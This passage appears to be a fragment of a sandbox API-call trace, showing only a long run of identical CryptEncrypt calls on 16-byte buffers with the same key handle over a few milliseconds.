dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.615] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.615] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.615] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.615] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.615] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.615] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.615] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.616] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.616] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.616] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.616] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.616] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.616] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.616] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.616] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.616] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.616] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.616] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.616] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.616] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.616] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.616] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.616] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.616] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.616] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.616] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.616] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.616] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.616] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.616] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.617] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.617] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.617] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.617] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.617] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.617] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.617] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.617] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.617] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.617] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.617] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.617] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.617] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.617] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.617] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.617] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.617] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.617] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.617] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.617] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.617] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.618] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.618] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.618] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.618] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.618] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.618] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.618] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.618] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.618] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.618] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.618] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.618] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.618] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.618] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.618] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.618] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.618] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.618] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.618] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.618] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.618] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.618] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.619] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.619] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.619] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.619] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.619] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.619] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.619] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.619] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.619] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.619] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.619] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.619] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.619] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.619] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.619] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.619] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.619] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.619] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.619] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.619] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.619] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.619] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.619] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.620] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.620] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.620] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.620] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.620] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.620] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.620] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.620] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.620] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.620] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.620] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.620] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, 